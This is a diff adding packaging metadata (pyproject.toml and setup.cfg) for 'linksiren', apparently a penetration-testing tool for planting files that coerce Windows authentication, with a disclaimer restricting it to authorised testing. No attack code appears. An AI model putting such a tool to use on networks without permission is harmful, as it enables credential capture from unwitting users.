+ This tools is designed for ethical hacking and penetration testing. It should be used exclusively on networks where explicit, written permission has been granted for testing. I accept no responsibility for the safety or effectiveness of this tool. Please don't sue me.
@@ -0,0 +1,33 @@
1
+ # pyproject.toml
2
+
3
+ [build-system]
4
+ requires = ["setuptools>=61.0.0", "wheel"]
5
+ build-backend = "setuptools.build_meta"
6
+
7
+ [project]
8
+ name = "linksiren"
9
+ version = "0.0.1"
10
+ description = "Generation, targeted deployment, and scalable cleanup for files that coerce Windows authentication."
11
+ readme = "README.md"
12
+ authors = [{ name = "George Hamilton"}]
13
+ license = { file = "LICENSE" }
14
+ classifiers = [
15
+ "Operating System :: OS Independent",
16
+ "Topic :: Security",
17
+ "Programming Language :: Python :: 3",
18
+ ]
19
+ keywords = ["coerce", "pentest", "windows", "authentication", "coercion"]
20
+ dependencies = [
21
+ "smbprotocol>=1.12.0",
22
+ ]
23
+ requires-python = ">=3.9"
24
+
25
+ [project.optional-dependencies]
26
+ dev = ["black", "bumpver", "isort", "pip-tools", "pytest"]
27
+
28
+ [project.urls]
29
+ Homepage = "https://github.com/gjhami/LinkSiren"
30
+ Issues = "https://github.com/gjhami/LinkSiren/issues"
31
+
32
+ [project.scripts]
33
+ linksiren = "linksiren.__main__:main"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+